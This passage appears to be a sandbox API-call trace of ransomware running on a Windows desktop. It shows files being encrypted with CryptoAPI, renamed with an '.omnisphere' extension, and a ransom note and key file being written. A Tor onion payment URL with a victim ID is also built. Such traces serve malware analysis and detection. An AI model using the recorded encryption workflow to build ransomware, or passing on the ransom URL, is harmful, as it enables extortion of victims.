pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.105] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.105] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.105] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.105] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.105] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.105] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.105] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.106] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.106] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.106] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.107] CryptDestroyKey (hKey=0x1639968) returned 1 [0163.107] CryptReleaseContext (hProv=0x16683d8, dwFlags=0x0) returned 1 [0163.107] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x8d08, lpNewFilePointer=0x0, dwMoveMethod=0x3e0ebb0 | out: lpNewFilePointer=0x0) returned 1 [0163.107] WriteFile (in: hFile=0x39c, lpBuffer=0x3e0e664*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0ebc4, lpOverlapped=0x0 | out: lpBuffer=0x3e0e664*, lpNumberOfBytesWritten=0x3e0ebc4*=0x524, lpOverlapped=0x0) returned 1 [0163.108] GetProcessHeap () returned 0x1600000 [0163.108] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x270) returned 0x164e708 [0163.108] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\2HMvxJbgu86g.mp3" (normalized: "c:\\users\\fd1hvy\\desktop\\2hmvxjbgu86g.mp3"), lpNewFileName="C:\\Users\\FD1HVy\\Desktop\\2HMvxJbgu86g.mp3.omnisphere" (normalized: "c:\\users\\fd1hvy\\desktop\\2hmvxjbgu86g.mp3.omnisphere")) returned 1 [0163.111] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\Desktop\\2HMvxJbgu86g.mp3.omnisphere", lpString2=".id" | out: lpString1="C:\\Users\\FD1HVy\\Desktop\\2HMvxJbgu86g.mp3.omnisphere.id") returned="C:\\Users\\FD1HVy\\Desktop\\2HMvxJbgu86g.mp3.omnisphere.id" [0163.111] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\2HMvxJbgu86g.mp3.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\desktop\\2hmvxjbgu86g.mp3.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0163.112] WriteFile (in: hFile=0x3bc, lpBuffer=0x3e0e664*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0e64c, lpOverlapped=0x0 | out: lpBuffer=0x3e0e664*, lpNumberOfBytesWritten=0x3e0e64c*=0x524, lpOverlapped=0x0) returned 1 [0163.113] CloseHandle (hObject=0x3bc) returned 1 [0163.113] UnmapViewOfFile (lpBaseAddress=0x1480000) returned 1 [0163.117] CloseHandle (hObject=0x380) returned 1 [0163.117] SetEndOfFile (hFile=0x39c) returned 1 [0163.162] FlushFileBuffers (hFile=0x39c) returned 1 [0163.169] CloseHandle (hObject=0x39c) returned 1 [0163.169] PathRemoveFileSpecW (in: pszPath="C:\\Users\\FD1HVy\\Desktop\\2HMvxJbgu86g.mp3" | out: pszPath="C:\\Users\\FD1HVy\\Desktop") returned 1 [0163.169] GetProcessHeap () returned 0x1600000 [0163.170] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 0x164e980 [0163.170] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0163.170] GetProcessHeap () returned 0x1600000 [0163.170] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x1733798 [0163.170] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x1733798, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", lpUsedDefaultChar=0x0) returned 30 [0163.170] lstrcatA (in: lpString1="", lpString2="http://uu6issmbncd3wjkm.onion/" | out: lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0163.170] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0163.170] GetProcessHeap () returned 0x1600000 [0163.170] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x174f360 [0163.170] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x174f360, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0163.170] lstrcatA (in: lpString1="http://uu6issmbncd3wjkm.onion/", lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0163.170] GetProcessHeap () returned 0x1600000 [0163.170] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x6e) returned 0x164ce30 [0163.170] PathCombineW (in: pszDest=0x164ce30, pszDir="C:\\Users\\FD1HVy\\Desktop", pszFile="!DECRYPT_OMNISPHERE.txt" | out: pszDest="C:\\Users\\FD1HVy\\Desktop\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\Desktop\\!DECRYPT_OMNISPHERE.txt" [0163.170] GetProcessHeap () returned 0x1600000 [0163.170] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x589) returned 0x17703a8 [0163.170] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\!DECRYPT_OMNISPHERE.txt" (normalized: "c:\\users\\fd1hvy\\desktop\\!decrypt_omnisphere.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0163.171] WriteFile (in: hFile=0x39c, lpBuffer=0x17703a8*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0ebe4, lpOverlapped=0x0 | out: lpBuffer=0x17703a8*, lpNumberOfBytesWritten=0x3e0ebe4*=0x588, lpOverlapped=0x0) returned 1 [0163.171] CloseHandle (hObject=0x39c) returned 1 [0163.171] GetProcessHeap () returned 0x1600000 [0163.171] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x164e980 | out: hHeap=0x1600000) returned 1 [0163.172] GetProcessHeap () returned 0x1600000 [0163.172] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x64) returned 0x163a570 [0163.172] PathCombineW (in: pszDest=0x163a570, pszDir="C:\\Users\\FD1HVy\\Desktop", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\Desktop\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\Desktop\\unique_decrypt.key" [0163.172] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\desktop\\unique_decrypt.key"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0163.172] WriteFile (in: hFile=0x39c, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0ebf8, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0ebf8*=0x5a0, lpOverlapped=0x0) returned 1 [0163.172] CloseHandle (hObject=0x39c) returned 1 [0163.173] GetProcessHeap () returned 0x1600000 [0163.173] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x163a570 | out: hHeap=0x1600000) returned 1 [0163.173] GetProcessHeap () returned 0x1600000 [0163.173] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x1692128 | out: hHeap=0x1600000) returned 1 [0163.173] FindNextFileW (in: hFindFile=0x1639528, lpFindFileData=0x3e0ee94 | out: lpFindFileData=0x3e0ee94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xab5beb60, ftCreationTime.dwHighDateTime=0x1d4ce3a, ftLastAccessTime.dwLowDateTime=0x21925d90, ftLastAccessTime.dwHighDateTime=0x1d4cd38, ftLastWriteTime.dwLowDateTime=0x21925d90, ftLastWriteTime.dwHighDateTime=0x1d4cd38, nFileSizeHigh=0x0, nFileSizeLow=0x17db, dwReserved0=0x0, dwReserved1=0xf5, cFileName="8AH6.gif", cAlternateFileName="")) returned 1 [0163.173] GetProcessHeap () returned 0x1600000 [0163.173] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x50) returned 0x1634d28 [0163.173] PathCombineW (in: pszDest=0x1634d28, pszDir="C:\\Users\\FD1HVy\\Desktop", pszFile="8AH6.gif" | out: pszDest="C:\\Users\\FD1HVy\\Desktop\\8AH6.gif") returned="C:\\Users\\FD1HVy\\Desktop\\8AH6.gif" [0163.173] StrStrW (lpFirst=".omnisphere", lpSrch=".gif") returned 0x0 [0163.173] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\8AH6.gif" (normalized: "c:\\users\\fd1hvy\\desktop\\8ah6.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0163.173] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x3e0ebbc | out: lpFileSize=0x3e0ebbc*=6107) returned 1 [0163.173] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x12b7, lpNewFilePointer=0x0, dwMoveMethod=0x3e0ebb0 | out: lpNewFilePointer=0x0) returned 1 [0163.174] ReadFile (in: hFile=0x39c, lpBuffer=0x3e0e664, nNumberOfBytesToRead=0x524, lpNumberOfBytesRead=0x3e0ebac, lpOverlapped=0x0 | out: lpBuffer=0x3e0e664*, lpNumberOfBytesRead=0x3e0ebac*=0x524, lpOverlapped=0x0) returned 1 [0163.174] GetTickCount () returned 0x1168861 [0163.174] GetTickCount () returned 0x1168861 [0163.174] GetTickCount () returned 0x1168861 [0163.174] GetTickCount () returned 0x1168861 [0163.175] GetTickCount () returned 0x1168861 [0163.175] GetTickCount () returned 0x1168861 [0163.175] GetTickCount () returned 0x1168861 [0163.175] GetTickCount () returned 0x1168861 [0163.175] GetTickCount () returned 0x1168861 [0163.175] GetTickCount () returned 0x1168861 [0163.175] GetTickCount () returned 0x1168861 [0163.175] GetTickCount () returned 0x1168861 [0163.175] GetTickCount () returned 0x1168861 [0163.175] GetTickCount () returned 0x1168861 [0163.175] GetTickCount () returned 0x1168861 [0163.175] GetTickCount () returned 0x1168861 [0163.175] GetTickCount () returned 0x1168861 [0163.175] GetTickCount () returned 0x1168861 [0163.175] GetTickCount () returned 0x1168861 [0163.175] GetTickCount () returned 0x1168861 [0163.175] GetTickCount () returned 0x1168861 [0163.175] GetTickCount () returned 0x1168861 [0163.176] GetTickCount () returned 0x1168861 [0163.176] GetTickCount () returned 0x1168861 [0163.176] GetTickCount () returned 0x1168861 [0163.176] GetTickCount () returned 0x1168861 [0163.176] GetTickCount () returned 0x1168861 [0163.176] GetTickCount () returned 0x1168861 [0163.176] GetTickCount () returned 0x1168861 [0163.176] GetTickCount () returned 0x1168861 [0163.176] GetTickCount () returned 0x1168861 [0163.176] GetTickCount () returned 0x1168861 [0163.176] CryptAcquireContextW (in: phProv=0x3e0e644, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0e644*=0x1668df0) returned 1 [0163.177] CryptImportKey (in: hProv=0x1668df0, pbData=0x3e0e5ac, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0e650 | out: phKey=0x3e0e650*=0x1639968) returned 1 [0163.177] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0eafc*, pdwDataLen=0x3e0e640*=0x75, dwBufLen=0x80 | out: pbData=0x3e0eafc*, pdwDataLen=0x3e0e640*=0x80) returned 1 [0163.177] CryptDestroyKey (hKey=0x1639968) returned 1 [0163.177] CryptReleaseContext (hProv=0x1668df0, dwFlags=0x0) returned 1 [0163.177] CreateFileMappingW (hFile=0x39c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x17db, lpName=0x0) returned 0x380 [0163.177] MapViewOfFile (hFileMappingObject=0x380, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x17db) returned 0x1480000 [0163.177] CryptAcquireContextW (in: phProv=0x3e0e634, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0e634*=0x16688a0) returned 1 [0163.178] CryptImportKey (in: hProv=0x16688a0, pbData=0x3e0e5ec, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0e644 | out: phKey=0x3e0e644*=0x1639968) returned 1 [0163.178] CryptSetKeyParam (hKey=0x1639968, dwParam=0x4, pbData=0x3e0e628*=0x2, dwFlags=0x0) returned 1 [0163.178] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0e630*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0e630*=0x10) returned 1 [0163.178] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.178] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.178] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.178] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.178] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.178] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.178] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.178] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.178] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.178] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.179] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.179] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.179] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.179] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.179] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.179] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.179] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.179] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.179] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.179] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.179] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.179] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.179] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.179] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.179] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.179] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.179] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.179] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.179] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.179] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.179] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.179] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.179] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.180] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.180] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.180] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.180] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.180] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.180] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.180] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.180] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.180] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.180] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.180] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.180] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.180] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.180] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.180] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, 